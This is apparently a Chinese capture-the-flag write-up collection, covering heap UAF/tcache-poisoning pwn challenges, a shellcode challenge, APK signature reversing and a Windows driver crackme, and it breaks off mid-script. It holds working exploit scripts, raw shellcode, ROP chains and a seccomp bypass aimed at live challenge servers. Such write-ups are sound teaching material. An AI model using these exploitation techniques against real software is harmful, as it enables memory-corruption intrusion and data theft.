&nbsp; &nbsp; &nbsp; &nbsp; send(io, msg(0, 0, b"A"&nbsp;* 0x400), 0.2)
&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(7):
&nbsp; &nbsp; &nbsp; &nbsp; send(io, msg(1, i), 0.2)

&nbsp; &nbsp; send(io, short_create(0x3ef), 0.2)
&nbsp; &nbsp; leak = send(io, msg(3, 0), 0.3)[:-3]
&nbsp; &nbsp; libc = u64(leak[5:13]) - 0x21b0d0
&nbsp; &nbsp; heap = u64(leak[13:21]) - 0x2820

&nbsp; &nbsp;&nbsp;print("[+] pie =", hex(pie))
&nbsp; &nbsp;&nbsp;print("[+] libc =", hex(libc))
&nbsp; &nbsp;&nbsp;print("[+] heap =", hex(heap))

&nbsp; &nbsp;&nbsp;# Tcache poison to overwrite content/content_size/used tables.
&nbsp; &nbsp; send(io, msg(0, 0, b"X"&nbsp;* 0x2e8), 0.2)
&nbsp; &nbsp; send(io, msg(0, 0, b"Y"&nbsp;* 0x2e8), 0.2)
&nbsp; &nbsp; send(io, msg(1, 1), 0.2)
&nbsp; &nbsp; send(io, msg(1, 2), 0.2)

&nbsp; &nbsp; target = pie + 0x4080
&nbsp; &nbsp; slot2 = heap + 0x3740
&nbsp; &nbsp; send(io, msg(2, 2, p64(target ^ (slot2 >> 12))), 0.2)

&nbsp; &nbsp; environ = libc + 0x222200
&nbsp; &nbsp; send(io, msg(0, 0, fake_table(pie, environ, 8)), 0.3)

&nbsp; &nbsp; env = u64(send(io, msg(3, 8), 0.3)[:8])
&nbsp; &nbsp;&nbsp;print("[+] environ =", hex(env))

&nbsp; &nbsp;&nbsp;# Find return address pie+0x18bf on stack.
&nbsp; &nbsp; ret_addr = None
&nbsp; &nbsp;&nbsp;for&nbsp;delta&nbsp;in&nbsp;range(0, 0x10000, 0x400):
&nbsp; &nbsp; &nbsp; &nbsp; addr = (env - delta) & ~0xf
&nbsp; &nbsp; &nbsp; &nbsp; send(io, msg(2, 9, fake_table(pie, addr, 0x400)), 0.15)
&nbsp; &nbsp; &nbsp; &nbsp; data = send(io, msg(3, 8), 0.2)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;data.endswith(b"OK\n"):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data = data[:-3]

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;off&nbsp;in&nbsp;range(0, len(data) - 7, 8):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;u64(data[off:off + 8]) == pie + 0x18bf:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ret_addr = addr + off
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;ret_addr:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break

&nbsp; &nbsp;&nbsp;if&nbsp;ret_addr is None:
&nbsp; &nbsp; &nbsp; &nbsp; raise RuntimeError("return address not found")

&nbsp; &nbsp;&nbsp;print("[+] ret =", hex(ret_addr))

&nbsp; &nbsp;&nbsp;# Make slot8 point to saved RIP and write ORW chain.
&nbsp; &nbsp; send(io, msg(2, 9, fake_table(pie, ret_addr, 0x300)), 0.2)

&nbsp; &nbsp; pop_rdi = libc + 0x2a3e5
&nbsp; &nbsp; pop_rsi = libc + 0x2be51
&nbsp; &nbsp; pop_rdx_rbx = libc + 0x904a9
&nbsp; &nbsp; pop_rax = libc + 0x45eb0
&nbsp; &nbsp; syscall = libc + 0x91316
&nbsp; &nbsp; ret = libc + 0x29139
&nbsp; &nbsp; heap_buf = heap + 0x9000

&nbsp; &nbsp; path_off = 0x180
&nbsp; &nbsp; path_addr = ret_addr + path_off

&nbsp; &nbsp; chain = [
&nbsp; &nbsp; &nbsp; &nbsp; ret,
&nbsp; &nbsp; &nbsp; &nbsp; pop_rax, 257,
&nbsp; &nbsp; &nbsp; &nbsp; pop_rdi, (1 << 64) - 100,
&nbsp; &nbsp; &nbsp; &nbsp; pop_rsi, path_addr,
&nbsp; &nbsp; &nbsp; &nbsp; pop_rdx_rbx, 0, 0,
&nbsp; &nbsp; &nbsp; &nbsp; syscall,

&nbsp; &nbsp; &nbsp; &nbsp; pop_rax, 0,
&nbsp; &nbsp; &nbsp; &nbsp; pop_rdi, 3,
&nbsp; &nbsp; &nbsp; &nbsp; pop_rsi, heap_buf,
&nbsp; &nbsp; &nbsp; &nbsp; pop_rdx_rbx, 0x100, 0,
&nbsp; &nbsp; &nbsp; &nbsp; syscall,

&nbsp; &nbsp; &nbsp; &nbsp; pop_rax, 1,
&nbsp; &nbsp; &nbsp; &nbsp; pop_rdi, 1,
&nbsp; &nbsp; &nbsp; &nbsp; pop_rsi, heap_buf,
&nbsp; &nbsp; &nbsp; &nbsp; pop_rdx_rbx, 0x100, 0,
&nbsp; &nbsp; &nbsp; &nbsp; syscall,
&nbsp; &nbsp; ]

&nbsp; &nbsp; rop = b"".join(p64(x)&nbsp;for&nbsp;x&nbsp;in&nbsp;chain)
&nbsp; &nbsp; rop = rop.ljust(path_off, b"B") + path + b"\0"

&nbsp; &nbsp; out = send(io, msg(2, 8, rop), 1.0)
&nbsp; &nbsp; out += recv_some(io, 2.0)
&nbsp; &nbsp;&nbsp;print(out.decode("latin1",&nbsp;"replace"))

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; exploit()

flag{1jsli537hbm5c71udk4j7jq5ips5ii0u}

rest2

A seemingly simple interactive function can have a serious impact. 一個看似簡單的交互功能,卻能造成嚴重影響。 一个看似简单的交互功能,却能造成严重影响。

1. 程序功能

程序是一个典型堆菜单题,提供四个功能:

  1. Add
  2. Delete
  3. Show
  4. Edit

程序维护两个全局数组:

  • chunk size 数组
  • chunk pointer 数组

Add 根据输入 size 申请堆块并写入内容。Delete 释放指定堆块。Show 打印指定堆块内容。Edit 修改指定堆块内容。

保护情况:

  • PIE 开启
  • Full RELRO
  • NX
  • Canary
  • 程序安装了 seccomp 过滤器

2. 漏洞点

核心漏洞是 UAF。

Delete 调用 free(ptr) 后没有清空指针,也没有清空 size,所以释放后的 chunk 仍然可以通过 Show 和 Edit 访问。

由此可以做到:

  • 释放 large chunk 后通过 Show 泄露 unsorted bin 指针,得到 libc base
  • 释放 tcache chunk 后通过 Show 泄露 safe-linking key
  • 通过 Edit 修改 freed chunk 的 tcache key,绕过 tcache double free 检测
  • double free 后篡改 tcache fd,实现任意地址分配

tcache poisoning 的基本流程如下:

free(victim)
show(victim) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 泄露 safe-linking key
edit(victim, p64(key)+p64(0)) &nbsp;&nbsp;# 清 tcache key,绕 double free
free(victim)
edit(victim, p64(target ^ key))
malloc(size)
malloc(size) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 返回 target 附近

3. libc 泄露

申请一个大于 tcache 范围的 chunk,例如 0x500,释放后进入 unsorted bin。此时 freed chunk 的 fd 指向 main_arena+0x60

远程附件 libc 中:

unsorted fd offset = 0x21ace0

所以:

libc_base = unsorted_leak – 0x21ace0

实际远程运行时可以稳定得到 libc base。

4. 栈地址泄露

拿到 libc base 后,利用 __environ 泄露栈地址。

附件 libc 中:

__environ offset = 0x222200

通过 tcache poisoning 把 chunk 分配到 __environ 附近,然后 Show 读出 environ 的值,即可得到一个栈地址。

当前 exploit 中远程使用:

environ – saved_rip = 0x140

注意这里的 0x140 是命令行参数 --offset 的语义,即 saved RIP 的位置。实际写入时目标地址是:

target = saved_rip – 8

也就是 add() 函数栈帧里的 saved rbp 槽。payload 前 8 字节覆盖 saved rbp,后面紧跟 ROP 链。函数结尾执行 leave; ret 后即可进入 ROP。

等价地看:

environ – target = 0x148

所以有些 writeup 里写 delta = 0x148,指的是覆盖起点 saved rbp,不是 saved RIP。

5. 远程 seccomp 限制

程序本身安装了 seccomp。根据 BPF 逻辑,程序内层过滤器主要限制:

read(fd != 0) => kill read(fd == 0) => allow 其它大部分 syscall => allow

如果只有这一层过滤器,常见做法是:

open(“/flag”) sendfile(1, fd, NULL, 0x100)

但远程环境还有额外的外层 seccomp。实际测试中:

write      allow close      allow open(2)    allow read(0)    allow openat     killed sendfile   killed readv      killed pread64    killed dup/dup2   killed execve     killed

因此以下方案都不能用:

  • libc open():glibc 内部通常走 openat,远程会被杀
  • open + sendfile
  • open + readv
  • open + pread64
  • open + dup2(fd, 0) + read(0)
  • execve("/bin/sh", ...)

必须使用裸 syscall open(2),并且只能让 read 的第一个参数保持为 0

6. 绕过思路:close(0) + open

过滤器判断的是 syscall 参数里的 fd 数值,不关心 fd 0 实际指向什么。

因此可以先关闭 stdin:

close(0)

然后再裸 syscall 打开 flag:

open("/flag", O_RDONLY)

Linux 会返回当前最小可用 fd。由于 fd 0 刚被关闭,open("/flag", 0) 会返回 0

接下来执行:

read(0, buf, 0x100)
write(1, buf, 0x100)

此时 read 的参数仍然是 fd = 0,能通过程序内层 seccomp;而 fd 0 实际已经指向 /flag,所以读到的就是 flag 内容。

这条链同时满足两层 seccomp:

  • 外层允许 close/open/read/write
  • 内层允许 read(0)

7. ROP 链

使用附件 libc 中的 gadget:

| gadget | offset | | — | — | | ret | 0x29139 | | pop rax ; ret | 0x45eb0 | | pop rdi ; ret | 0x2a3e5 | | pop rsi ; ret | 0x2be51 | | pop rdx ; pop rbx ; ret | 0x904a9 | | syscall ; ret | 0x91316 |

最终 ROP:

write(1,&nbsp;"Z", 1) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# marker,可选
close(0)
open("/flag", 0, 0) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 返回 fd 0
read(0, buf, 0x100)
write(1, buf, 0x100)

全部使用裸 syscall:

close syscall number = 3
open &nbsp;syscall number = 2
read&nbsp; syscall number = 0
write syscall number = 1

8. 利用命令

当前仓库里的 solve.py 已经加入了最终链,参数为 --close-open

运行:

python3 solve.py –remote –offset 0x140 –close-open –paths /flag

成功输出:

Zflag{1jsm6cldtmclhg1udk4j7jq5r2s5ii97}

StackPwn

程序分析

附件是 64 位 Linux ELF。核心流程:

int main() { init(); banner(); shellcode(); }

init() 中会申请一块可读可写可执行的内存:

buf = mmap(NULL, 0x1000, 7, 0x22, -1, 0); printf(“gift: %p.\n”, buf);

其中权限 7 等于:

PROT_READ | PROT_WRITE | PROT_EXEC

也就是说程序主动给了我们一页 RWX 内存,并且还把地址打印出来。

shellcode() 的关键逻辑:

puts(“Input your shellcode!”); read(0, buf, 0x100); puts(“The player start to play the shellcode game.”); write(1, name, 0x30); ((void (*)())buf)();

程序会把我们输入的最多 0x100 字节读入 buf,然后直接跳转执行。

漏洞点

这是一个典型 shellcode 执行题:

  • 程序使用 mmap 创建 RWX 内存
  • 用户可控内容被写入该内存
  • 程序直接 call buf
  • 因此只需要发送 amd64 Linux shellcode 即可

这里不需要 ROP,也不需要泄露 libc。

利用思路

发送 ORW shellcode:

  1. open(“/flag”, 0)
  2. read(fd, rsp, 0x200)
  3. write(1, rsp, size)

如果 /flag 不存在,也可以尝试当前目录下的 flag。

EXP

<font style="color:rgb(51, 51, 51);">#!/usr/bin/env python3</font><font style="color:rgb(51, 51, 51);"> import socket</font><font style="color:rgb(51, 51, 51);"> import sys</font><font style="color:rgb(51, 51, 51);"> import time</font>

<font style="color:rgb(51, 51, 51);">sc = (</font><font style="color:rgb(51, 51, 51);"> b"\x31\xc0\x50"</font><font style="color:rgb(51, 51, 51);"> b"\x48\xbb\x2f\x66\x6c\x61\x67\x00\x00\x00"</font><font style="color:rgb(51, 51, 51);"> b"\x53\x48\x89\xe7\x31\xf6\x31\xd2\xb0\x02\x0f\x05"</font><font style="color:rgb(51, 51, 51);"> b"\x85\xc0\x79\x13"</font><font style="color:rgb(51, 51, 51);"> b"\x31\xc0\x50\x68\x66\x6c\x61\x67"</font><font style="color:rgb(51, 51, 51);"> b"\x48\x89\xe7\x31\xf6\x31\xd2\xb0\x02\x0f\x05"</font><font style="color:rgb(51, 51, 51);"> b"\x48\x89\xc7"</font><font style="color:rgb(51, 51, 51);"> b"\x48\x81\xec\x00\x02\x00\x00"</font><font style="color:rgb(51, 51, 51);"> b"\x48\x89\xe6"</font><font style="color:rgb(51, 51, 51);"> b"\xba\x00\x02\x00\x00"</font><font style="color:rgb(51, 51, 51);"> b"\x31\xc0\x0f\x05"</font><font style="color:rgb(51, 51, 51);"> b"\x89\xc2"</font><font style="color:rgb(51, 51, 51);"> b"\xbf\x01\x00\x00\x00"</font><font style="color:rgb(51, 51, 51);"> b"\xb8\x01\x00\x00\x00"</font><font style="color:rgb(51, 51, 51);"> b"\x0f\x05"</font><font style="color:rgb(51, 51, 51);"> b"\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05"</font><font style="color:rgb(51, 51, 51);"> )</font>

<font style="color:rgb(51, 51, 51);">def recv_until(s, marker):</font><font style="color:rgb(51, 51, 51);"> data = b""</font><font style="color:rgb(51, 51, 51);">&nbsp;while&nbsp;marker not&nbsp;in&nbsp;data:</font><font style="color:rgb(51, 51, 51);"> data += s.recv(4096)</font><font style="color:rgb(51, 51, 51);">&nbsp;return&nbsp;data</font>

<font style="color:rgb(51, 51, 51);">host = sys.argv[1]</font><font style="color:rgb(51, 51, 51);"> port = int(sys.argv[2])</font>

<font style="color:rgb(51, 51, 51);">s = socket.create_connection((host, port))</font><font style="color:rgb(51, 51, 51);">&nbsp;print(recv_until(s, b"Input your name to start!").decode(errors="ignore"),</font><font style="color:rgb(51, 51, 51);"> end="")</font>

<font style="color:rgb(51, 51, 51);">s.sendall(b"A\n")</font><font style="color:rgb(51, 51, 51);"> time.sleep(0.1)</font>

<font style="color:rgb(51, 51, 51);">print(recv_until(s, b"Input your shellcode!").decode(errors="ignore"),</font><font style="color:rgb(51, 51, 51);"> end="")</font><font style="color:rgb(51, 51, 51);"> s.sendall(sc)</font>

<font style="color:rgb(51, 51, 51);">print(s.recv(4096).decode(errors="ignore"))</font>

运行:

python3 solve.py 36.213.142.84 20985

flag{1jsld4l5h77v9v1udk4j7jq5fjs5ihto}

VoucherVault

A digital vault guarded by modern glibc, where tricks from the old days may no longer work. Secret credentials are sealed behind layers of protection, and beneath the seemingly familiar heap layout lies a far stricter security mechanism. 一座由现代 glibc 守护的数字金库,旧时代的技巧未必还能奏效。 秘密凭证被层层封存,看似熟悉的堆积配置之下,却运行着更加严格的安全机制。 一座由现代 glibc 守护的数字金库,旧时代的技巧未必还能奏效。 秘密凭证被层层封存,看似熟悉的堆布局下,却运行着更加严格的安全机制。

题目给出 3 个文件:

voucher_vault
libc.so.6
ld-linux-x86-64.so.2

程序硬编码解释器路径为 /home/ctf/ld-linux-x86-64.so.2,本地运行时需要使用题目给出的 loader:

./ld-linux-x86-64.so.2 --library-path . ./voucher_vault

保护情况

通过 ELF 信息可以看出:

Arch:   amd64 PIE:    enabled RELRO:  full, BIND_NOW NX:     enabled Canary: enabled Strip:  stripped

程序不是传统栈溢出题,主要攻击面在菜单堆管理逻辑。

程序逻辑

菜单功能如下:

  1. Store voucher
  2. Rewrite voucher
  3. Inspect voucher
  4. Discard voucher
  5. Unlock vault
  6. Exit

启动时程序会 mmap 一个固定地址:

vault = mmap(0x1337000, 0x1000, PROT_READ | PROT_WRITE,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
*vault = 0;

解锁逻辑检查这个地址开头 8 字节是否等于固定 magic:

if&nbsp;(*(uint64_t *)0x1337000 == 0xfeedfacecafebabe) {
&nbsp; &nbsp; open("/home/ctf/flag", 0);
&nbsp; &nbsp; open("./flag", 0);
&nbsp; &nbsp; open("/flag", 0);
&nbsp; &nbsp; write(1, flag, n);
}&nbsp;else&nbsp;{
&nbsp; &nbsp; puts("Vault key rejected");
&nbsp; &nbsp;&nbsp;exit(1);
}

所以目标非常明确:想办法向固定地址 0x1337000 写入:

0xfeedfacecafebabe

漏洞分析

程序维护两个数组:

size_t sizes[8];
char *chunks[8];

Store voucher 逻辑大致如下:

idx = read_num();
size = read_num();

if&nbsp;(idx > 7)&nbsp;exit;
if&nbsp;(chunks[idx] != NULL)&nbsp;exit;
if&nbsp;(size < 0x20 || size > 0x80)&nbsp;exit;

real_size = (size + 0xf) & ~0xf;
chunks[idx] = calloc(1, real_size);
sizes[idx] = real_size;

`Discard voucher` 存在明显 UAF:

free(chunks[idx]);
puts("Voucher discarded");

释放后没有把 chunks[idx] 清零,sizes[idx] 也保留。因此同一个 index 释放后仍然可以:

  • Inspect voucher 读取 freed chunk 内容
  • Rewrite voucher 修改 freed chunk 内容

这就可以操作 tcache freelist。

利用思路

本题 libc 启用了 safe-linking。tcache freelist 中的 fd 保存方式为:

encoded_fd = next ^ (chunk_addr >> 12)

如果释放一个 chunk 后 inspect 它的前 8 字节,由于它是 tcache 链表最后一个节点,真实 next 为 0,因此泄漏值就是:

chunk_addr >> 12

有了这个值后,就能构造任意目标地址的 encoded fd:

encoded_fd = 0x1337000 ^ leak

之后流程如下:

  1. 申请一个 0x20 大小 chunk。
  2. 释放它,但指针未清零。
  3. inspect 这个 freed chunk,泄漏 chunk >> 12
  4. rewrite 这个 freed chunk,把 tcache fd 改成 0x1337000 ^ leak
  5. 再申请一次 0x20,取回原来的 freed chunk。
  6. 再申请一次 0x20,此时 calloc 返回 0x1337000
  7. rewrite 新 chunk,写入 0xfeedfacecafebabe
  8. 选择 unlock,读取 flag。

因为 0x1337000 是程序自己 mmap 出来的可读写区域,且 16 字节对齐,所以可以通过 tcache poisoning 返回该地址。

Exploit

核心代码如下:

TARGET = 0x1337000
MAGIC = 0xFEEDFACECAFEBABE
SIZE = 0x20

store(io, 0, SIZE)
discard(io, 0)

leak = struct.unpack("<Q", inspect(io, 0, SIZE)[:8])[0]
encoded_fd = TARGET ^ leak

rewrite(io, 0, p64(encoded_fd) + b"\x00"&nbsp;* (SIZE - 8))

store(io, 1, SIZE)
store(io, 2, SIZE)

rewrite(io, 2, p64(MAGIC) + b"\x00"&nbsp;* (SIZE - 8))
print(unlock(io).decode())

运行远程:

python3 solve.py 36.213.142.135 27946

flag{1jsll3kf8i149612pk9v1hq1toprsnc9}

Revevrse

CodeSign

解题思路

1. 初步分析

解压 APK,观察基本结构:

SecureGate.apk ├── classes.dex          ← 唯一的 dex,核心逻辑在此 ├── META-INF/            ← 无 .RSA/.DSA 文件,说明使用 APK v2/v3 签名 ├── assets/ └── res/

无 native .so 库,逻辑全部在 Java 层。

2. 反编译

使用 jadx 反编译 classes.dex

jadx -d jadx_output SecureGate.apk

定位到应用包名 com.icqctf.signcheck,关键文件有两个:

  • MainActivity.java — 主逻辑(解密 + 校验)
  • SignUtils.java — 签名提取工具类

3. 代码分析

MainActivity.java(核心逻辑)

public class MainActivity extends AppCompatActivity {
&nbsp; &nbsp; // 密文数据(29 字节)
&nbsp; &nbsp; private static final byte[] SECRET_DATA = {
&nbsp; &nbsp; &nbsp; &nbsp; 86, 10, 3, 1, 77, 124, 123, 97, 109, 37,
&nbsp; &nbsp; &nbsp; &nbsp; 64, 90, 2, 89, 8, 5, 111, 115, 64, 66,
&nbsp; &nbsp; &nbsp; &nbsp; 4, 16, 65, 62, 123, 8, 88, 81, 30
&nbsp; &nbsp; };

&nbsp; &nbsp; // 点击按钮触发
&nbsp; &nbsp; void onClick(...) {
&nbsp; &nbsp; &nbsp; &nbsp; // 1. 获取 APK 签名的 SHA1 哈希作为密钥
&nbsp; &nbsp; &nbsp; &nbsp; String key = SignUtils.getAppSignature(this);
&nbsp; &nbsp; &nbsp; &nbsp; // 2. XOR 解密
&nbsp; &nbsp; &nbsp; &nbsp; String result = decrypt(SECRET_DATA, key);
&nbsp; &nbsp; &nbsp; &nbsp; // 3. 校验结果是否以&nbsp;"flag{"&nbsp;开头
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(result.startsWith("flag{")) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // ACCESS GRANTED
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // DECRYPTION FAILED
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp; // XOR 解密算法
&nbsp; &nbsp; private String decrypt(byte[] data, String key) {
&nbsp; &nbsp; &nbsp; &nbsp; byte[] keyBytes = key.getBytes();
&nbsp; &nbsp; &nbsp; &nbsp; byte[] result = new byte[data.length];
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(int i = 0; i < data.length; i++) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result[i] = (byte) (data[i] ^ keyBytes[i % keyBytes.length]);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;new String(result);
&nbsp; &nbsp; }
}
SignUtils.java(签名提取)
public class SignUtils {
&nbsp; &nbsp; public static String getAppSignature(Context context) {
&nbsp; &nbsp; &nbsp; &nbsp; // 获取 APK 签名证书的原始 DER 字节
&nbsp; &nbsp; &nbsp; &nbsp; byte[] certBytes = context.getPackageManager()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .getPackageInfo(context.getPackageName(), 64)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .signatures[0].toByteArray();
&nbsp; &nbsp; &nbsp; &nbsp; // 计算 SHA1 并转为小写十六进制字符串(40 字符)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;sha1Hex(certBytes).toLowerCase();
&nbsp; &nbsp; }
}

算法本质

plaintext[i] = SECRET_DATA[i] ⊕ SHA1(APK签名证书)[i % 40]

4. 提取 APK 签名证书

本 APK 使用 APK Signature Scheme v2(无传统 META-INF 下的 .RSA 文件),需要从 APK 文件的 APK Signing Block 中解析证书。

APK 文件结构如下:

┌──────────────────────┐ │   ZIP 数据块          │ ├──────────────────────┤ │   APK Signing Block  │ ← 签名证书在此 ├──────────────────────┤ │   Central Directory  │ ├──────────────────────┤ │   EOCD               │ └──────────────────────┘

编写 Python 脚本解析 APK Signing Block:

import struct
import hashlib

def find_apk_signing_block(apk_path):
&nbsp; &nbsp; with open(apk_path,&nbsp;'rb') as f:
&nbsp; &nbsp; &nbsp; &nbsp; data = f.read()

&nbsp; &nbsp;&nbsp;# 1. 定位 End of Central Directory
&nbsp; &nbsp; eocd_offset = data.rfind(b'\x50\x4b\x05\x06')
&nbsp; &nbsp;&nbsp;# 2. 获取 Central Directory 偏移
&nbsp; &nbsp; cd_offset = struct.unpack_from('<I', data, eocd_offset + 16)[0]
&nbsp; &nbsp;&nbsp;# 3. 校验 APK Signing Block 魔数 "APK Sig Block 42"
&nbsp; &nbsp; magic_offset = cd_offset - 16
&nbsp; &nbsp; assert data[magic_offset:magic_offset+16] == b'APK Sig Block 42'
&nbsp; &nbsp;&nbsp;# 4. 读取块大小,定位块起始
&nbsp; &nbsp; block_size = struct.unpack_from('<Q', data, magic_offset - 8)[0]
&nbsp; &nbsp; block_start = cd_offset - block_size - 8

&nbsp; &nbsp;&nbsp;# 5. 遍历 ID-value 对,找 v2 签名块 (ID=0x7109871a)
&nbsp; &nbsp; pos = block_start + 8
&nbsp; &nbsp; end = magic_offset - 8
&nbsp; &nbsp;&nbsp;while&nbsp;pos < end:
&nbsp; &nbsp; &nbsp; &nbsp; pair_size = struct.unpack_from('<Q', data, pos)[0]
&nbsp; &nbsp; &nbsp; &nbsp; pos += 8
&nbsp; &nbsp; &nbsp; &nbsp; pair_id = struct.unpack_from('<I', data, pos)[0]
&nbsp; &nbsp; &nbsp; &nbsp; pair_data = data[pos+4:pos+pair_size]
&nbsp; &nbsp; &nbsp; &nbsp; pos += pair_size
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;pair_id == 0x7109871a: &nbsp;# v2 signing block
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;parse_cert(pair_data)

def parse_cert(block_data):
&nbsp; &nbsp; pos = 0
&nbsp; &nbsp; signers_size = struct.unpack_from('<I', block_data, pos)[0]
&nbsp; &nbsp; pos += 4
&nbsp; &nbsp;&nbsp;# signer size
&nbsp; &nbsp; signer_size = struct.unpack_from('<I', block_data, pos)[0]
&nbsp; &nbsp; pos += 4
&nbsp; &nbsp;&nbsp;# signed data size
&nbsp; &nbsp; signed_data_size = struct.unpack_from('<I', block_data, pos)[0]
&nbsp; &nbsp; pos += 4
&nbsp; &nbsp;&nbsp;# skip digests
&nbsp; &nbsp; digests_size = struct.unpack_from('<I', block_data, pos)[0]
&nbsp; &nbsp; pos += 4 + digests_size
&nbsp; &nbsp;&nbsp;# certificates
&nbsp; &nbsp; certs_size = struct.unpack_from('<I', block_data, pos)[0]
&nbsp; &nbsp; pos += 4
&nbsp; &nbsp; cert_size = struct.unpack_from('<I', block_data, pos)[0]
&nbsp; &nbsp; pos += 4
&nbsp; &nbsp; cert_der = block_data[pos:pos+cert_size]
&nbsp; &nbsp;&nbsp;return&nbsp;hashlib.sha1(cert_der).hexdigest().lower()

提取结果:

SHA1 = 0fbf65802a94649f01920c2a0966c2934e817f73

5. XOR 解密得到 Flag

SECRET_DATA = [
&nbsp; &nbsp; 86, 10, 3, 1, 77, 124, 123, 97, 109, 37,
&nbsp; &nbsp; 64, 90, 2, 89, 8, 5, 111, 115, 64, 66,
&nbsp; &nbsp; 4, 16, 65, 62, 123, 8, 88, 81, 30
]
key = b'0fbf65802a94649f01920c2a0966c2934e817f73'

flag = bytes([SECRET_DATA[i] ^ key[i % len(key)]&nbsp;for&nbsp;i&nbsp;in&nbsp;range(len(SECRET_DATA))])
print(flag.decode()) &nbsp;# flag{ICQ_Dyn4m1c_Byp4ss_K1ng}

flag{ICQ_Dyn4m1c_Byp4ss_K1ng}

drive

公司的驱动程序好像出 bug 了,连接的程序也连接不上,重新连接驱动还需要重新输入密钥,请尽快修复程序连接驱动!(缺失的符号 md5=f2c6151d6c0d99f3666129b97e2100f5)

附件解压后有两个文件:

Driver.sys link.exe

1. 修复 Driver.sys

先看 Driver.sys 文件头,发现不是正常 PE:

09 5A 90 00 …

正常 PE 应该以 4D 5A 开头,即 MZ。观察文件可以发现大量偏移为 0 mod 4 的位置被异或过,例如:

09 ^ 44 = 4D

所以修复方式是:每隔 4 字节,把当前位置字节异或 0x44

修复脚本:

from pathlib import Path

p = Path("Driver.sys")
data = bytearray(p.read_bytes())

for&nbsp;i&nbsp;in&nbsp;range(0, len(data), 4):
&nbsp; &nbsp; data[i] ^= 0x44

Path("Driver_fixed.sys").write_bytes(data)

修复后可以正常解析 PE。驱动中能看到关键字符串:

\??\DeviceDrive
\Device\MYDEVICE
flag is you input
wrong

其中 \??\DeviceDrive 是用户态需要打开的符号链接。

2. 修复 link.exe 连接驱动失败

link.exe 中搜索字符串,可以看到:

.\Device?????

题目给出:

md5 = f2c6151d6c0d99f3666129b97e2100f5

计算常见缺失符号:

import hashlib

print(hashlib.md5(b"Drive").hexdigest())

结果正好是:

f2c6151d6c0d99f3666129b97e2100f5

所以缺失字符串是 Drive,需要把:

.\Device?????

修成:

\.\DeviceDrive

补丁脚本:

from pathlib import Path

data = bytearray(Path("link.exe").read_bytes())
old = b"\\\\.\\Device?????"
new = b"\\\\.\\DeviceDrive"

pos = data.find(old)
assert pos != -1

data[pos:pos + len(old)] = new
Path("link_fixed.exe").write_bytes(data)

3. 分析 link.exe 主逻辑

定位 CreateFileA 和 DeviceIoControl 交叉引用后,用户态程序核心逻辑如下:

  1. CreateFileA("\\.\DeviceDrive", ...) 打开驱动。
  2. 读取用户输入,最多处理 32 字节。
  3. 调用 DeviceIoControl,控制码为:

0x222000

  1. 驱动返回成功后打印:

flag: %s

也就是说程序并不会在用户态计算 flag,真正校验逻辑在驱动里。

4. 分析驱动校验逻辑

驱动的 DeviceIoControl 分支中处理两个控制码:

0x222000 0x222400

题目程序使用的是 0x222000

核心流程:

  1. 拷贝输入的 32 字节。
  2. 对前 31 个字节做相邻字节混淆:
for&nbsp;(i = 1; i < 32; i++) {
&nbsp; &nbsp; old = buf[i - 1];
&nbsp; &nbsp; buf[i - 1] = old ^ (((old % 18) + buf[i] + 5) ^ 0x34);
}

3. 调用校验函数。

校验函数逻辑:

key = 0x34;

for&nbsp;(i = 0; i < 32; i++) {
&nbsp; &nbsp; tmp[i] = buf[i] ^ key;
&nbsp; &nbsp; key = buf[i];
}

for&nbsp;(i = 0; i < 32; i++) {
&nbsp; &nbsp;&nbsp;if&nbsp;((tmp[i] ^ key) != target[i]) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;0;
&nbsp; &nbsp; }
&nbsp; &nbsp; key = tmp[i];
}

return&nbsp;1;

其中 target 常量位于修复后驱动的 .data,RVA 为 0x3000

66 0a 09 e0 e2 e3 cb 09 14 15 0c 38 01 1f 05 42
71 6e 56 7a 00 20 e4 bf e6&nbsp;cd&nbsp;28 30 2c 75 a0 3a

5. 反算输入

由于校验逻辑可逆,先反推相邻混淆后的中间值,再从后往前枚举还原原始输入。

完整解密脚本:

target = bytes.fromhex(
&nbsp; &nbsp;&nbsp;"660a09e0e2e3cb0914150c38011f0542"
